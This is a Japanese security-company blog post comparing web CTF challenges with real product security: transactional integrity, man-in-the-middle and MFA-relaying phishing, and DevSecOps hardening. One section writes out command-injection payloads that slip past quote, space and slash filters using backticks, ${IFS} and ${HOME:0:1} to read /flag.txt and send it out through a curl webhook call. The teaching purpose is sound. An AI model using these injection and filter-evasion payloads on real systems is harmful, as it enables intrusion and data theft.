Flatt Security Blog

株式会社Flatt Securityの公式ブログです。プロダクト開発やプロダクトセキュリティに関する技術的な知見・トレンドを伝える記事を発信しています。

株式会社Flatt Securityの公式ブログです。
プロダクト開発やプロダクトセキュリティに関する技術的な知見・トレンドを伝える記事を発信しています。

CTFで出題される脆弱性 vs プロダクトセキュリティのリアルな課題

週末をCTFに費やし、平日の余暇時間をその復習に費やしている @hamayanhamayan です。去年2023年はCTFtime1調べでは66本のCTFに出ていて、自身のブログでは解説記事を40本ほど書いています。 自分はCTFプレイヤーですが、一方で、Flatt Securityはお仕事でプロダクトセキュリティを扱っている会社です。CTFで出題される問題と、プロダクトセキュリティにおける課題の間にはどのような違いがあるのでしょうか?

CTFのヘビープレイヤーの視点から、共通している部分、また、どちらか一方でよく見られる部分について紹介していきたいと思います。色々な形でセキュリティに関わる人にとって、楽しく読んでもらえたら嬉しいです。

はじめに

本記事の目的

本記事では、CTFで出題される問題とプロダクトセキュリティにおける課題とを比べていきます。

学生さんや趣味でセキュリティに興味がある方などは、実際にプロダクトセキュリティに取り組む機会がもしかしたら少ないかもしれません。そういった方にとって、CTFでは味わえないプロダクトセキュリティの幅広さに触れていただき、視野を広げる一助になればと思います。

反対に、既に業務でプロダクトセキュリティをやられていて、かつ、あまりCTFをやらない方にとっては、CTFヘビー参加者がCTFをどういうものとして捉えているか、CTFをやることで得られるものは何かといった事柄を一参加者の意見として伝えていければと思います。

CTFで出題される問題 vs プロダクトセキュリティにおける課題

CTFとは

情報セキュリティ分野におけるCTF(:Capture The Flag)とは、端的には情報セキュリティに関する問題を解くコンテストのことであり、情報セキュリティの知識や技能が問われる競技です。一番メジャーなJeopardy方式のCTFでは問題が一問一答形式で与えられ、時には脆弱性を発見してシステムを攻撃し、また、時にはファイルを解析して隠された情報を抜き出します。

CTFでは様々なカテゴリ毎に分かれて問題が用意されることが多く、Pwn、Reversing、Cryptoなどの分野があります。本記事では、自分が得意なカテゴリで、かつ、Flatt Securityでも取り扱いの多いWebカテゴリの問題に絞って扱っていきます。WebカテゴリではWebセキュリティに関連する問題が出題されます。一例としては、Webサービスの実装コードから脆弱性を探し出し、そして、実際にその脆弱性を与えられた環境でエクスプロイトすることでフラグと呼ばれる答えを得るというものが挙げられます。

CTFは週末に開催されることが多いため、自分は毎週金曜の夜になるとCTFtimeを開き、今週末はどのコンテストに出て過ごそうかと楽しく考えています。

プロダクトセキュリティにおける課題について

一方で、実際のプロダクトに対してセキュリティを担保する分野としてプロダクトセキュリティがあります。セキュリティ対策は、年々重要性を増しており、製品に対してセキュリティを担保することへの要求もどんどん大きくなっています。

プロダクトセキュリティの中でも、実際のプロダクトに対して脆弱性を発見する作業を脆弱性診断 2と呼びます。プロダクトセキュリティの中で最もCTFに近い部分であり、多くの共通点があります。

しかし、プロダクトセキュリティが含む領域はそれだけではありません。クラウド・インフラレベルでのセキュリティの担保や、DevSecOps・SSDLCのような開発環境や開発サイクルレベルでのセキュリティの作り込み、また、万が一を見越した多層防御的なアプローチなど様々な視点から実際のプロダクトに対するセキュリティを高めていく取り組みが含まれています。本記事では、CTFではあまり出てこないプロダクトセキュリティの考え方や領域について沢山紹介できればと思います。

CTF vs プロダクトセキュリティ:共通している部分について

さて、本題に入っていきましょう。CTFで出題される問題とプロダクトセキュリティにおける課題にはどのような違いがあるのか見ていきます。再掲ですが、本記事では、自分が得意なカテゴリであるCTFのWebカテゴリと、Webサービスに対するプロダクトセキュリティに絞って考えていきます。

CTFでよく出題されるような脆弱性を思い起こしてみます。XSSやコマンドインジェクション…... いや、これは実際のプロダクトでも見られる問題ですね。一方で、実際のプロダクトでよくある脆弱性について思い浮かべてみます。アクセス制御の不備や古いライブラリの使用など…... いや、これもCTFで出題されることがありますね。

…...何を伝えたいかというと、多くの知識や技能が共通して活用できるということです。各種脆弱性の根本原因や、どのような実装が脆弱性を招くのかという部分については変わりありません。すなわち、普段CTFで遊んでいる人はプロダクトセキュリティにおける課題を考える上での背景知識を多く有していますし、プロダクトセキュリティに関わっている人もCTFで遊ぶための背景知識を多く有していると言えます。

CTFで出題される問題でよくあるテーマ

この章ではCTFによく見られる傾向について取り扱っていきます。実際の所、CTFで出題される問題の全ての要素は、プロダクトセキュリティの領域においても活用できる可能性があります。しかし、これぞCTFと言える部分も多くありますので、そういった楽しさを紹介していきます。

最新の攻撃手法や脆弱性の出題

CTFでは自由に問題設定をすることができるため、新しく発表されたタイプの攻撃や話題になった新しい脆弱性について出題されることがよくあります。新しい脆弱性を深く理解するには、実際に攻撃を試したり、実装を見てみたりするのが一番です。CTFでは、出題者が実際に攻撃可能な環境を提供してくれているので、気軽にそういった課題にチャレンジできます。

例えば、生成AIに対するプロンプトインジェクションもいち早くCTFでの題材となり、様々な問題が出題されていましたし、Log4Shellのようなインパクトの大きい脆弱性が発表されたときも数多くの問題でLog4Shellが取り上げられていました。

また、CTFに取り組んでいると全く触ったことのない言語やフレームワークによく出くわします。その際は、公式ドキュメントを参照してみたり、実際に触ったりしながら脆弱性を探し出して、問題を解いていきます。セキュリティ的な考え方は共通していますので、全く触ったことのない対象であっても、同じような考え方を適用して問題を解くことができるものです。

そして、このような新しい技術や脆弱性が題材とされている問題に取り組んだ後は、問題が解けたかどうかに関わらず、新しい知識を得られるため、とても良い経験となります。

パズル問題

CTFでよく出る方向性の問題として、パズル問題があります。ここで紹介したいパズル問題とは、色々な特殊な制限がかかっている問題に対して、細かい仕様を参照しながら回避策を探したり、問題で用意されている特殊な状況をうまく利用しながら攻撃を成立させていく問題のことです。揶揄している訳ではなく、分かりやすく端的に表現するとパズルを解く問題、という表現をしています。

拒否リストによるフィルタリング回避問題を例にとってみましょう。bashで以下のようなコマンドが実行されるシステムを考えてみます。

curl https://external.webhook.example/customer_endpoint -X POST -d "[入力]"

こういった状況でコマンドインジェクションに脆弱である場合に、" && sleep 5 #という入力を与えてみましょう。

curl https://external.webhook.example/customer_endpoint -X POST -d "" && sleep 5 #"

上記のようになり、後ろに任意のコマンドを差し込むことができました。実行するとsleep 5の5秒間のウェイトにより、インターネット越しであっても長いウェイトが走ることが観測できます。

ここで拒否リストによるフィルタリングを入れてみましょう。"が入ると文字列を抜け出すことができそうなので"を禁止することにします。ここからパズル開始です。"を使わずに任意のコマンドを実行する術はないだろうか…...とbashを調べてみると、bashのコマンド置換という機能が使えそうです。入力として`sleep 5`を入れてみましょう。

curl https://external.webhook.example/customer_endpoint -X POST -d "`sleep 5`"

実際に試すと5秒遅延します。しかも、今回の状況だと、コマンド実行の標準出力で置換されるので、webhookを経由して出力値を取得することもできます。`whoami`としてみるとwhoamiの結果が取得できます。実際のCTFの問題だと、フラグという文字列を取得する場合が多いので、以降では`cat /flag.txt`を実行できれば良いと仮定することにしましょう。更にフィルタリングを入れていきます。空白とスラッシュが使えるとコマンドの幅が広がりそうなので、"と空白とスラッシュを禁止することにします。これも何とか代用できないかbashの機能を探すとパラメータの展開という機能があります。

これを使うと、使えない文字をこのパラメータ展開によって作り出すことができます。空白はコマンドの区切り文字として使われているのでbashのシェル変数の1つであるIFSが使えます。つまり、${IFS}が空白代わりとして利用することができます。

スラッシュはbashのシェル変数の1つであるHOMEから作り出すことができます。現在のユーザのホームディレクトリが入っている変数なので、先頭の文字は必ずスラッシュになっていることを利用して、${HOME:0:1}のように先頭だけ切り出すことでスラッシュを作り出すことができます。よって、`cat /flag.txt``cat${IFS}${HOME:0:1}flag.txt`と変換することができ、以下のようにすることでフラグを抜き出してくることができます。

curl https://external.webhook.example/customer_endpoint -X POST -d "`cat${IFS}${HOME:0:1}flag.txt`"

この辺りで止めておきましょう。このように、パズル問題を解くには色々な条件をパズルのように組み合わせていくのですが、そのためには仕様の細かな理解やエッジケースへのアンテナが必要不可欠です。

こういった問題は単純に考えていてとても楽しいですが、実際のプロダクトに対してこういった問題を直接扱うことはそれほど多くはありません(…...が、たまにあります!)。しかし、こういう問題に取り組むとフレームワークやプロトコルの細かな仕様に対する理解が進み、知識レベルがどんどん底上げされていきます。こういった経験を楽しみながら行える所にCTFの魅力があり、面白さがあります。

プロダクトセキュリティにおける課題でよくあるテーマ

次は、プロダクトセキュリティにおける課題について取り扱っていきます。CTFの最終目標はフラグを取得することですが、実際のプロダクトではより広い達成目標があります。

本記事では、比較対象として面白そうなトピックについて数点取り扱っていきますが、実際の現場では、より広く、また、より深く対策を講じていく必要があります。一部の脆弱性については自動化によって検出が可能であったり、推奨される設定を実施することで防止できたりするものもあります。しかし、認証認可周りの脆弱性やビジネスロジックレベルでの問題は高度な手動診断が必要になってきます。この記事で扱うのはほんの触りの部分になりますので、興味がある方はどんどん深堀してプロダクトセキュリティ沼にはまってみてください。

なお、プロダクトセキュリティにおける課題についてはFlatt Security Blogでも多くの記事があります。逐次紹介していきますので、より細かく学んでみたいという方は是非参照してみてください。

では、早速見ていきましょう。

CIAの更なる担保

CTFではフラグを取得することが最終目的ではありますが、プロダクトセキュリティではCTFでフラグと表現される重要な情報のみならず、保有する情報やリソースを全ての方面から守っていく必要があります。ここでは情報セキュリティのCIAの観点のうち、完全性(Integrity)に関連する話題を紹介します。

情報セキュリティのCIAのIである完全性(Integrity)とは、保持されている情報や状態に改ざんがなく、また、正確で最新である性質を指します。完全性に影響を及ぼす脆弱性として有名なものとして、排他制御の不備があります。

完全性についてプロダクトセキュリティにおける課題として挙げられるものの1つとして、複数システムをまたぐトランザクション処理を取り上げます。最近では、マイクロサービスでシステムを分割していたり、サードパーティのシステムと外部連携をしている場合は、とある1つのビジネスロジックが1つのトランザクション処理に収まらない場合もあります。そのような場合は、適切に整合性を取る必要がありますが、ここが適切に処理されていないと場合によっては脆弱性に発展することもあります。

具体例として、A社のサービスを使って、B社が提供するポイントを利用するような処理の流れを考えてみましょう。A社とB社それぞれでポイントの値を管理していて一致するのが期待される仕様です。

図にもあるようにB社のAPI Serverへのリクエストが成功した後に、A社側のデータベース更新に失敗しています。このエラーが正しく処理されないと、B社側ではポイントが移動しているがA社側ではポイントの移動が行われていないという状況が生まれます。期待される仕様と反しており、完全性が担保できていません。このような状況が生まれてしまうと、無限にポイントを移動させるようなことが可能な場合もあり、非常に危険な状態であることが分かると思います。

情報セキュリティのCIAの完全性を担保するためにも、よりセキュアなサービスを構築していくためにも、このような情報やリソースの状態の不整合はリカバリしていく必要があります。この部分は高度な手動診断が必要で、システム全体を理解した上での提案や、必要に応じて運用レベルでのリカバリプランも考えていく必要があります。

中間者攻撃

CTFではあまり出題されない面白い観点として中間者攻撃を紹介します。

中間者攻撃とは、攻撃者が被害者の通信を盗聴したり、もしくは、不正に仲介することで達成する攻撃の総称です。攻撃者が通信を盗聴・仲介できるということが前提条件にあり、それを満たす難易度は比較的高いですが、ほとんどのWebサービスに共通して考えられる攻撃です。

まずは、ネットワーク通信における中間者攻撃について見ていきましょう。攻撃者が被害者のネットワーク通信を傍受できた場合、HTTPによる通信であればログイン情報やCookieの中身を見ることができてしまいます。この攻撃を防ぐためにはHTTPSでの通信が必要になります。ちなみに、これだけでは攻撃を完全に防ぐことはできず、HTTPへのアクセスをHTTPSにリダイレクトする、HTTPを閉じてしまう、HSTSを導入するといった追加の対策が必要になります。

こういった中間者攻撃のような考え方はネットワーク通信以外の場面にも現れます。例として、フィッシングで用いられる中間者攻撃を取り上げてみましょう。(この攻撃に関するMicrosoftの記事

  1. 攻撃者はログイン画面を模したフィッシングサイトを用意して、被害者をそのサイトに誘導する
  2. 被害者がユーザ名とパスワードを入力すると、フィッシングサイトはそれを本物のサイトに中継し、ログイン試行を行う
  3. 本物のサイトが多要素認証のためのPINコードを要求するので、フィッシングサイトは更に被害者にPINコードの入力を要求する
  4. 被害者がPINコードを入力すると、フィッシングサイトはそのPINコードを本物のサイトに中継し、ログインを成功させ、セッションCookieを手に入れる

以上のような方法で、フィッシングサイトがログイン処理の間に入り、所謂、中間者攻撃を行うことで、MFAが設定されていても被害者のセッションCookieを取得することができてしまいます。

中間者攻撃はサービスの外で発生する、どちらかというと顧客を狙った攻撃方法です。こういったサービスの外で起こる問題に対しても、サービス側の仕組みや工夫により顧客を守る様々な方法が考えられており、プロダクトセキュリティにおいて考えるべき重要な部分の1つと言えます。

開発環境の堅牢化 - クラウド、開発環境、DevSecOps

攻撃者は攻撃できそうな部分があればどこでも狙ってきます。それには、ソースコード上には記載されない開発環境のような部分も例外ではありません。最近のシステムでは、クラウド上で完結するようなインフラ環境が構築されていたり、リバースプロキシを効果的に利用しながらのCDN運用やキャッシュ管理が行われていたりします。他にもドメイン管理やメールサーバの運用など、Webサイトに限らず、色々なミドルウェアが動いています。そういった各コンポーネントについてもセキュリティに気を配り、対処をしていく必要性があります。

また、クラウド上の各サービスについても考慮すべきセキュリティ事項がたくさんあり、それぞれについて適切な対処をしていく必要があります。

加えて、実際にサービスを提供するための環境に限らず、開発環境においてもセキュリティ対策やセキュリティ向上のための施策は求められます。例えば、ソースコードにうっかり重要な認証情報を載せてしまい、公開してしまっているといった開発起因のセキュリティ事案も度々発生しています。人的なミスの予防や、開発環境関連のセキュリティ水準も同時に高めていく必要があります。

プロダクトセキュリティの分野には、DevSecOpsという言葉があります。これは、開発と運用のサイクルであるDevOpsにセキュリティも加え、継続的なセキュリティ改善を行っていく考え方です。開発・運用が進むにつれて、セキュリティに関して考慮すべき箇所はどんどん増加していきます。例えば、増加する機能に対して脆弱性診断を継続的に実施していく必要があったり、使用しているライブラリの脆弱性管理も同時に行っていく必要があります。

CTFでは提供サービス外の部分を攻撃することは認められていませんが、実際のプロダクトを攻撃する攻撃者にとってはそのようなルールはありません。考えうる限りの可能性を考慮し、色々な角度からセキュリティ対策を施すことは大変な作業ではありますが、とてもやりがいがあります。

まとめ

本記事では、CTFで出題される問題とプロダクトセキュリティにおける課題について比較してきました。

CTFでは、新しいタイプの攻撃や脆弱性を実際に体感したり、仕様の深い理解を要求するパズル問題に触れたりすることで、セキュリティに関わる知識を広く、また、深く知ることができることを紹介しました。しかも、それをゲーム形式で楽しんで行えるというのがとても魅力ですね。

CTFに出てみたい!という人は週末にCTFtimeを開いて開催されているコンテストに出てみることをオススメします。最初のうちは1問も解けない…...という状況が続くかと思います。解説はコンテストのDiscordサーバで共有されることが多いので、コンテストに登録したらDiscordサーバを探して入っておくのがオススメです。(自身のブログや有志がX上や各自のブログで解説している可能性もありますので、是非探してみましょう。)

プロダクトセキュリティでは、CTFに比べて開発の規模が大きく、関連するシステムが多い、また、インシデントを発生させないようにするために様々な予防策を打つ必要があるなど、多くの違いを紹介していきました。プロダクトセキュリティはCTFとは違い、終わりがありません。常に脅威を洗い出し、対策し続けていく必要があります。

プロダクトセキュリティをもっと知りたい!という方にとって、Flatt Security Blogは様々なタイプの情報が紹介されているので、是非巡回してみてください。本記事でも多数引用しましたが、色々な角度で色々な記事があり、それぞれ違った発見があると思います。

さて、すでに触れたようにFlatt Securityはプロダクトセキュリティ組織を支援するサービスを提供しており、特にセキュリティ診断(脆弱性診断)の領域においては「弊社セキュリティエンジニアによる手動診断」と「診断内製化を支援するSaaS『Shisho Cloud』」を提供しています。

各サービスに関してぜひお気軽にお問い合わせください。

また、Flatt Security はセキュリティに関する様々な発信を行っています。 最新情報を見逃さないよう、公式X のフォローをぜひお願いします!

では、ここまでお読みいただきありがとうございました。


  1. CTFの開催情報がまとまっているWebサイト。
  2. 脆弱性を探すという点で共通しているバグバウンティというキーワードもあります。こちらは開発元でない有志が脆弱性を探して報告する仕組みのことですが、CTFともプロダクトセキュリティとも違った面白さがあります。